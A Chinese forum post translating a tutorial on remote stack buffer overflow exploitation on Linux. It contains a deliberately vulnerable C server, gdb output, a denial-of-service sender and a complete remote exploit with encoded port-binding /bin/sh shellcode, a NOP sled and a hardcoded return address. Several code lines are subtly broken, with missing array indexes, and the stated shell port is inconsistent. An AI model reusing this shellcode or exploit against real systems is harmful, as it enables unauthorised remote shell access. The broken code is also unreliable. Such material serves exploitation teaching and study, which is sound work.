發新話題

[教學]如何編寫遠程溢出EXPLOIT Linux版

[教學]如何編寫遠程溢出EXPLOIT Linux版

如何編寫遠程溢出EXPLOIT Linux版

譯者註:想必很多朋友都對緩衝區溢出非常瞭解了,網上也有很多關於windows下的緩衝區溢出漏洞的利用教程(本人也寫過幾篇)。但是linux下的完整溢出教程我還未看到過(也許是本人眼拙吧)。今天在國外的一個論壇發現這篇文章,感覺此文是一個非常不錯的基礎教程,因此決定翻譯出來供大家鑒賞,自己也算是鍛煉一下英語翻譯吧:-)(其實我是在看完整篇文章後,根據自己的理解寫的,幾乎一點翻譯都沒有)

譯文:
閱讀此文前,我假設大家都會用c寫一些基本的socket程式而且對本地溢出有所瞭解。OK!我們先寫一個有漏洞服務端程式,代碼如下:

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>

#define BUFFER_SIZE 1024
#define NAME_SIZE 2048

int handling(int c)

{
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;
strcpy(buffer, "My name is: ");
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
bytes = recv(c, name, sizeof(name), 0);
if (bytes == -1)
return -1;
name[bytes - 1] = '\0';
sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);//沒有做邊界檢查就直接將name陣列copy至buffer陣列
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
return 0;

}

int main(int argc, char *argv[])

{
int s, c, cli_size;
struct sockaddr_in srv, cli;
if (argc != 2)
{
fprintf(stderr, "usage: %s port\n", argv[0]);
return 1;
}
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
{
perror("socket() failed");
return 2;
}
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;
if (bind(s, &srv, sizeof(srv)) == -1)
{
perror("bind() failed");
return 3;
}
if (listen(s, 3) == -1)
{
perror("listen() failed");
return 4;
}
for(;;)
{
c = accept(s, &cli, &cli_size);
if (c == -1)
{
perror("accept() failed");
return 5;
}
printf("client from %s", inet_ntoa(cli.sin_addr));
if (handling(c) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(c);
}
return 0;

}

程式非常簡單,由命令行獲得埠參數,然後在指定的埠監聽連接。如下編譯和調用此程式:

user@linux:~/ > gcc vulnerable.c -o vulnerable

user@linux:~/ > ./vulnerable 8080

下面我想檢查一下這個程式的一些位址,看看它是如何構建的。我們用gdb來調試:

user@linux~/ > gdb vulnerable

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-suse-linux"...

(gdb) run 8080

Starting program: /home/user/directory/vulnerable 8080

現在程式已經乖乖的在8080埠監聽連接了,接著我們用telnet或者netcat連接8080埠看看:

user@linux:~/ > telnet localhost 8080

Trying ::1...

telnet: connect to address ::1: Connection refused

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

My name is: Robin

, nice to meet you!

Connection closed by foreign host.

user@linux:~/ >

這個簡單的服務端程式只是簡單的獲得名字然後再將名字回顯到螢幕上,讓我們繼續吧!

如上操作後,gdb調試器視窗會有如下資訊輸出:

client from 127.0.0.1 0xbffff28c

/*不要因為這個位址在你的機器上不同而感到困惑, 因為在我的機器上是這個位址: 0xbffff28c */

讓我們開始測試吧,重新telnet 到8080埠然後在"My name is:..."提示後輸入超過1024個位元組的字元:


user@linux:~/ > telnet localhost 8080

Trying ::1...

telnet: connect to address ::1: Connection refused

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

My name is:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

這時你會發現,連接中斷了!讓我們看看gdb的輸出吧:

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb)

// 不要關閉gdb

正如我們所看到的,eip的值被置成了0x41414141, 或許你會問為什麼?讓我試著解釋一下吧:
當我們輸入了超過1024個位元組的字元後,程式會試圖將name[2048]拷貝至buffer[1024](譯者註:注意看上面原程式中我加註釋的那行)這時由於name[2048]比buffer[1024]大出了1024個位元組,因此多出的那些個位元組會覆蓋到buffer[1024]以外的緩衝區包括保存的eip的值(這是函數調用時壓入堆疊的返回位址),我們的buffer就會像如下這樣:


[xxxxxxxx-name-2048-bytes-xxxxxxxxxx]

[xxxxx buffer-only-1024-bytes xxx] [EIP]

// 別忘了,eip是4個位元組的值
當函數返回時,會從堆疊中將先前保存的eip的值彈出到eip寄存器中並跳轉到這個位址繼續執行。然而由於我們已經將保存的eip覆蓋成了0x41414141,所以程式就會跳到一個錯誤的位址執行從而引起「segmentation fault」的錯誤。


到這裏,我們就可以寫出這個漏洞的D.O.S版本的利用程式了:
#include <stdio.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netdb.h>

int main(int argc, char **argv)

{

struct sockaddr_in addr;

struct hostent *host;

char buffer[2048];

int s, i;

if(argc != 3)

{

fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);

exit(0);

}

s = socket(AF_INET, SOCK_STREAM, 0);

if(s == -1)

{

perror("socket() failed\n");

exit(0);

}

host = gethostbyname(argv[1]);

if( host == NULL)

{

herror("gethostbyname() failed");

exit(0);

}

addr.sin_addr = *(struct in_addr*)host->h_addr;

addr.sin_family = AF_INET;

addr.sin_port = htons(atol(argv[2]));

if(connect(s, &addr, sizeof(addr)) == -1)

{

perror("couldn't connect so server\n");

exit(0);

}

/* Not difficult only filling buffer with A』s.... den sending nothing more */

for(i = 0; i < 2048 ; i++)

buffer = 'A';

printf("buffer is: %s\n", buffer);

printf("buffer filled... now sending buffer\n");

send(s, buffer, strlen(buffer), 0);

printf("buffer sent.\n");

close(s);

return 0;

}
為了進一步利用這個漏洞,我們需要找出返回位址的位置。讓我們看看如何利用gdb找出返回位址的位置:

接著上面的gdb調試視窗(我希望你沒關掉它),輸入:x200bx $esp-200 ,得到如下的結果:


(gdb) x/200bx $esp-200

0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

---Type <return> to continue, or q <return> to quit---
我們知道我們已經覆蓋了整個緩衝區,那麼我們從中挑出一個位址來作為返回地址(一會再告訴你為什麼這麼做),其實這個地址我們是猜的。或許你知道NOP的技巧,這個技巧可以使我們的exploit更好的工作,也可以使我們更容易猜出返回位址來。需要注意的是不要從離快要結束的0x41的那行附近挑,要從中間挑這樣我們一會要用NOPS來覆蓋它,我們這裏挑的是0xbffff5ec這個位址。

[ 本帖最後由 philxyz0316 於 2006-7-23 21:34 編輯 ]

TOP

譯者註:這個地方作者並沒有很好的說明為什麼這麼做。其實道理很簡單,就拿0xbffff5ec這個位址來說吧,作者將這個位址開始的緩衝區覆蓋為NOPS(NOPS滑塊),然後再在構造的緩衝區的最後以0xbffff5ec覆蓋一塊緩衝區,那麼肯定會有一個0xbffff5ec覆蓋到eip,那麼當函數返回時就會跳到0xbffff5ec處執行,而這個地方都是NOP指令,因此會順著NOPS滑塊「滑」到我們的shellcode中。
構造的緩衝區如下所示:


|NOPS|NOPS|NOPS|……|shellcode|RET|RET|……|RET|

好了我們可以利用我們挑出的這個返回位址(雖然這個地址不一定準確)來構造我們的exploit代碼了:

1. 找一個主動連接型的shellcode(現如今網路上不缺shellcode)。

2.聲明一個大於1024位元組的新緩衝區,比如1064位元組,只要能覆蓋到eip即可。

3. 用NOP來填充這個緩衝區:memset(buffer, 0x90, 1064);

4. 複製shellcode到緩衝區中:memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode));在這裏我們將shellcode放到了緩衝區的中間位置,為什麼要這麼做呢?如果在緩衝區的開始部分有足夠的NOP指令填充,那麼我們shellcode獲得執行的機會就更大些了。

5. buffer[1000] = 0x90; // 0x90就是NOP的16進制形式

6. Let's copy the returnaddress at the end of the buffer
複製返回地址到緩衝區的結尾:

for(i = 1022; i < 1059; i+=4)

{

((int *) &buffer) = RET;

// RET就是返回地址,用#define定義過的

}
我們知道,緩衝區是以1024位元組結束的,那我們從1022開始複製返回位址,一直複製到1059個位元組的位置。

7. 在我們構造的這個緩衝區的最後以一個'\0'結束:buffer[1063] = 0x0;

緩衝區構造完成,下面就是發送到漏洞主機上了。exploit代碼如下:
/* Simple remote exploit, which binds a shell on port 3789

* by triton

*

* After return address was overwritten, you can connect

* with telnet or netcat to the victim host on Port 3789

* After you logged in... there』s nothing, but try to enter "id;" (don』t forget the semicolon)

* So you should get an output, ok you』ve got a shell *g*. Always use:

*

* <command>;

*

* execute.

*/

#include <stdio.h>

#include <netdb.h>

#include <netinet/in.h>

//Portbinding Shellcode

char shellcode[] =

"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"

"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"

"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"

"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"

"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"

"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"

"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"

"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

//standard offset (probably must be modified)

#define RET 0xbffff5ec

int main(int argc, char *argv[]) {

char buffer[1064];

int s, i, size;

struct sockaddr_in remote;

struct hostent *host;

if(argc != 3) {

printf("Usage: %s target-ip port\n", argv[0]);

return -1;

}

// filling buffer with NOPs

memset(buffer, 0x90, 1064);

//copying shellcode into buffer

memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));

// the previous statement causes a unintential Nullbyte at buffer[1000]

buffer[1000] = 0x90;

// Copying the return address multiple times at the end of the buffer...

for(i=1022; i < 1059; i+=4) {

* ((int *) &buffer) = RET;

}

buffer[1063] = 0x0;

//getting hostname

host=gethostbyname(argv[1]);

if (host==NULL)

{

fprintf(stderr, "Unknown Host %s\n",argv[1]);

return -1;

}

// creating socket...

s = socket(AF_INET, SOCK_STREAM, 0);

if (s < 0)

{

fprintf(stderr, "Error: Socket\n");

return -1;

}

//state Protocolfamily , then converting the hostname or IP address, and getting port number

remote.sin_family = AF_INET;

remote.sin_addr = *((struct in_addr *)host->h_addr);

remote.sin_port = htons(atoi(argv[2]));

// connecting with destination host

if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)

{

close(s);

fprintf(stderr, "Error: connect\n");

return -1;

}

//sending exploit string

size = send(s, buffer, sizeof(buffer), 0);

if (size==-1)

{

close(s);

fprintf(stderr, "sending data failed\n");

return -1;

}

// closing socket

close(s);

}

編譯測試結果如下:

user@linux~/ > gcc exploit.c –o exploit

user@linux~/ > ./exploit <host> 3879

如果成功溢出的話,我們會得到一個shell在3879埠:

user@linux~/ > telnet <host> 3879

id

uid=500(user) gid=500(user) groups=500(user)

正如你所看到的,我們成功了!

譯者註:文章到這裏就算完成了,需要注意的是由於文中的exploit中的返回位址是硬編碼進去的,所以在不同的機器上有可能因為位址不同而溢出失敗。所以大家需要自己手工用gdb調試。這是非常基礎的溢出文章了,以後有機會我再搞些更深入一點的溢出文章和大家分享。

TOP

發新話題

本站所有圖文均屬網友發表,僅代表作者的觀點與本站無關,如有侵權請通知版主會盡快刪除。